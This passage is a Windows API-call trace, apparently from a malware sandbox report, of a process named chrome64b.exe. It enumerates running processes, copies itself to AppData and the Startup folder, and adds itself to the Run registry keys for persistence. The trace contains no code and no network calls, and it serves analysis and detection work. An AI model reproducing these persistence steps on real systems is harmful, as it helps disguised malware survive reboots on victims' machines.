[0249.732] lstrlenW (lpString="SearchUI.exe") returned 12 [0249.732] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0249.732] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0249.732] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0249.733] lstrlenW (lpString="dllhost.exe") returned 11 [0249.733] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0249.733] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0249.733] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0249.734] lstrlenW (lpString="mobsync.exe") returned 11 [0249.734] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0249.734] lstrlenW (lpString="chrome64b.exe") returned 13 [0249.734] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0249.735] lstrlenW (lpString="chrome64b.exe") returned 13 [0249.735] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 0 [0249.735] CloseHandle (hObject=0x240) returned 1 [0249.735] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x65f7c8 | out: hHeap=0x640000) returned 1 [0249.735] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x65f5d0 | out: hHeap=0x640000) returned 1 [0249.735] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6563e0 | out: hHeap=0x640000) returned 1 [0249.735] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6564c0 | out: hHeap=0x640000) returned 1 [0249.735] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x657260 | out: hHeap=0x640000) returned 1 [0249.735] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680258 | out: hHeap=0x640000) returned 1 [0249.735] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x656540 | out: hHeap=0x640000) returned 1 [0249.735] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x656500 | out: hHeap=0x640000) returned 1 [0249.735] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6808a8 | out: hHeap=0x640000) returned 1 [0249.735] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6808d0 | out: hHeap=0x640000) returned 1 [0249.735] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6563c0 | out: hHeap=0x640000) returned 1 [0249.736] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6804e8 | out: hHeap=0x640000) returned 1 [0249.736] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x689120 [0249.772] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x699128 [0249.773] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6800c0 [0249.773] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6800c0, Size=0x20) returned 0x680970 [0249.773] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680970, Size=0x40) returned 0x65f420 [0249.773] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6801e0 [0249.773] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6801e0, Size=0x20) returned 0x680538 [0249.773] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x680258 [0249.773] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680258, Size=0x20) returned 0x6808f8 [0249.773] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x680300 [0249.773] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680300, Size=0x20) returned 0x680588 [0249.773] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680588, Size=0x40) returned 0x65f930 [0249.773] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x699128, nSize=0x7fff | out: lpFilename="C:\\Windows\\System32\\chrome64b.exe" (normalized: "c:\\windows\\system32\\chrome64b.exe")) returned 0x21 [0249.773] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x6a9130 [0249.773] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x6b9138 [0249.774] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6800c0 [0249.774] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6800c0, Size=0x20) returned 0x680628 [0249.774] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680628, Size=0x40) returned 0x65f078 [0249.774] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x65f078, Size=0x80) returned 0x6868d8 [0249.774] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6868d8, Size=0x100) returned 0x687070 [0249.774] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0249.774] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x687070 | out: hHeap=0x640000) returned 1 [0249.774] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\chrome64b.exe", lpDst=0x6a9130, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\System32\\chrome64b.exe") returned 0x22 [0249.774] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6b9138 | out: hHeap=0x640000) returned 1 [0249.774] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a9130 | out: hHeap=0x640000) returned 1 [0249.775] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x100000) returned 0x2429020 [0249.778] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x680270 [0249.778] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680270, Size=0x20) returned 0x680718 [0249.778] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x680258 [0249.778] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680258, Size=0x20) returned 0x680628 [0249.778] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0249.778] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0249.779] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x0) returned 1 [0249.779] lstrlenW (lpString="kernel32.dll") returned 12 [0249.779] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680718 | out: hHeap=0x640000) returned 1 [0249.779] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0249.779] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680628 | out: hHeap=0x640000) returned 1 [0249.779] CreateFileW (lpFileName="C:\\Windows\\System32\\chrome64b.exe" (normalized: "c:\\windows\\system32\\chrome64b.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0249.779] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\chrome64b.exe" (normalized: "c:\\windows\\system32\\chrome64b.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.779] CloseHandle (hObject=0x240) returned 1 [0249.780] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x680120 [0249.780] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680120, Size=0x20) returned 0x680740 [0249.780] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x680258 [0249.780] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680258, Size=0x20) returned 0x6807b8 [0249.780] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0249.781] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0249.781] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0249.781] lstrlenW (lpString="kernel32.dll") returned 12 [0249.781] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6807b8 | out: hHeap=0x640000) returned 1 [0249.781] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0249.781] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680740 | out: hHeap=0x640000) returned 1 [0249.781] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2429020 | out: hHeap=0x640000) returned 1 [0249.784] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x6a9130 [0249.785] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x6b9138 [0249.785] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x680258 [0249.785] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680258, Size=0x20) returned 0x6805d8 [0249.785] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6805d8, Size=0x40) returned 0x65f108 [0249.785] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x65f108, Size=0x80) returned 0x686960 [0249.785] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x686960, Size=0x100) returned 0x687070 [0249.785] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0249.785] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x687070 | out: hHeap=0x640000) returned 1 [0249.785] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\chrome64b.exe", lpDst=0x6a9130, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\chrome64b.exe") returned 0x2e [0249.785] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6b9138 | out: hHeap=0x640000) returned 1 [0249.785] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a9130 | out: hHeap=0x640000) returned 1 [0249.786] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x100000) returned 0x2428020 [0249.789] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x680378 [0249.789] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680378, Size=0x20) returned 0x6806a0 [0249.789] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x680378 [0249.789] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680378, Size=0x20) returned 0x680628 [0249.789] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0249.790] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0249.790] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0249.790] lstrlenW (lpString="kernel32.dll") returned 12 [0249.790] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6806a0 | out: hHeap=0x640000) returned 1 [0249.790] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0249.790] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680628 | out: hHeap=0x640000) returned 1 [0249.790] CreateFileW (lpFileName="C:\\Windows\\System32\\chrome64b.exe" (normalized: "c:\\windows\\system32\\chrome64b.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0249.790] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\chrome64b.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\chrome64b.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0249.792] ReadFile (in: hFile=0x240, lpBuffer=0x2428020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2428020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0249.841] WriteFile (in: hFile=0x244, lpBuffer=0x2428020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2428020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0249.844] ReadFile (in: hFile=0x240, lpBuffer=0x2428020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2428020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0249.844] CloseHandle (hObject=0x244) returned 1 [0249.847] CloseHandle (hObject=0x240) returned 1 [0249.848] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x680378 [0249.848] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680378, Size=0x20) returned 0x680970 [0249.848] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6800c0 [0249.848] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6800c0, Size=0x20) returned 0x6805d8 [0249.848] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0249.848] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0249.848] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0249.848] lstrlenW (lpString="kernel32.dll") returned 12 [0249.848] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6805d8 | out: hHeap=0x640000) returned 1 [0249.848] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0249.848] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680970 | out: hHeap=0x640000) returned 1 [0249.848] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2428020 | out: hHeap=0x640000) returned 1 [0249.854] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x680258 [0249.854] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680258, Size=0x20) returned 0x6808a8 [0249.854] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6808a8, Size=0x40) returned 0x65f078 [0249.854] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x65f078, Size=0x80) returned 0x6860e0 [0249.854] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Roaming\\chrome64b.exe") returned 45 [0249.854] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0249.854] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x5c) returned 0x658830 [0249.854] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x240) returned 0x0 [0249.854] RegSetValueExW (hKey=0x240, lpValueName="chrome64b.exe", Reserved=0x0, dwType=0x1, lpData=0x689120, cbData=0x5a) returned 0x5 [0249.854] RegCloseKey (hKey=0x240) returned 0x0 [0249.854] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x658830 | out: hHeap=0x640000) returned 1 [0249.854] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Roaming\\chrome64b.exe") returned 45 [0249.854] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0249.854] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x5c) returned 0x658830 [0249.854] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x244) returned 0x0 [0249.856] RegSetValueExW (in: hKey=0x244, lpValueName="chrome64b.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\chrome64b.exe", cbData=0x5a | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\chrome64b.exe") returned 0x0 [0249.856] RegCloseKey (hKey=0x244) returned 0x0 [0249.856] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x658830 | out: hHeap=0x640000) returned 1 [0249.856] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0249.856] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6860e0 | out: hHeap=0x640000) returned 1 [0249.856] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x6a9130 [0249.857] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x6b9138 [0249.857] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6802b8 [0249.857] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6802b8, Size=0x20) returned 0x680858 [0249.857] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680858, Size=0x40) returned 0x65f7c8 [0249.857] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x65f7c8, Size=0x80) returned 0x686300 [0249.857] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x686300, Size=0x100) returned 0x687070 [0249.857] lstrlenW (lpString="") returned 0 [0249.857] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0249.857] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8c) returned 0x687ab0 [0249.857] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0249.857] RegQueryValueExW (in: hKey=0x244, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x6b9138, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x0, lpData=0x6b9138*=0x53, lpcbData=0x19fd48*=0x7fff) returned 0x2 [0249.857] RegCloseKey (hKey=0x244) returned 0x0 [0249.857] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x687ab0 | out: hHeap=0x640000) returned 1 [0249.857] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0249.857] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8c) returned 0x687ab0 [0249.857] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0249.857] RegQueryValueExW (in: hKey=0x244, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x6b9138, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x98) returned 0x0 [0249.857] RegCloseKey (hKey=0x244) returned 0x0 [0249.857] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x687ab0 | out: hHeap=0x640000) returned 1 [0249.857] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0249.858] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0249.858] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x687070 | out: hHeap=0x640000) returned 1 [0249.858] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\chrome64b.exe", lpDst=0x6a9130, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\chrome64b.exe") returned 0x5c [0249.858] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6b9138 | out: hHeap=0x640000) returned 1 [0249.858] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a9130 | out: hHeap=0x640000) returned 1 [0249.859] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x100000) returned 0x2422020 [0249.862] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x680258 [0249.862] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680258, Size=0x20) returned 0x680768 [0249.862] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6802d0 [0249.862] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6802d0, Size=0x20) returned 0x680650 [0249.862] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0249.862] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0249.862] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0249.862] lstrlenW (lpString="kernel32.dll") returned 12 [0249.862] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680768 | out: hHeap=0x640000) returned 1 [0249.862] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0249.862] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680650 | out: hHeap=0x640000) returned 1 [0249.862] CreateFileW (lpFileName="C:\\Windows\\System32\\chrome64b.exe" (normalized: "c:\\windows\\system32\\chrome64b.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0249.863] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\chrome64b.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\chrome64b.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248 [0249.864] ReadFile (in: hFile=0x244, lpBuffer=0x2422020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2422020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0249.875] WriteFile (in: hFile=0x248, lpBuffer=0x2422020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2422020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0250.028] ReadFile (in: hFile=0x244, lpBuffer=0x2422020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2422020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0250.028] CloseHandle (hObject=0x248) returned 1 [0250.095] CloseHandle (hObject=0x244) returned 1 [0250.096] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6801e0 [0250.096] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6801e0, Size=0x20) returned 0x680588 [0250.096] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6801e0 [0250.096] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6801e0, Size=0x20) returned 0x6805d8 [0250.096] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0250.096] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0250.096] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0250.096] lstrlenW (lpString="kernel32.dll") returned 12 [0250.096] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6805d8 | out: hHeap=0x640000) returned 1 [0250.096] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0250.096] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680588 | out: hHeap=0x640000) returned 1 [0250.096] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2422020 | out: hHeap=0x640000) returned 1 [0250.102] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x6a9130 [0250.102] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x6b9138 [0250.103] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x680258 [0250.103] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680258, Size=0x20) returned 0x680650 [0250.103] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x680650, Size=0x40) returned 0x65f468 [0250.103] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x65f468, Size=0x80) returned 0x6865a8 [0250.103] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6865a8, Size=0x100) returned 0x687070 [0250.103] lstrlenW (lpString="") returned 0 [0250.103] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0250.103] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8c) returned 0x687ab0 [0250.103] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0250.103] RegQueryValueExW (in: hKey=0x244, lpValueName="Common Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x6b9138, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x78) returned 0x0 [0250.103] RegCloseKey (hKey=0x244) returned 0x0 [0250.103] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x687ab0 | out: hHeap=0x640000) returned 1 [0250.103] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0250.103] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0250.103] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x687070 | out: hHeap=0x640000) returned 1 [0250.103] 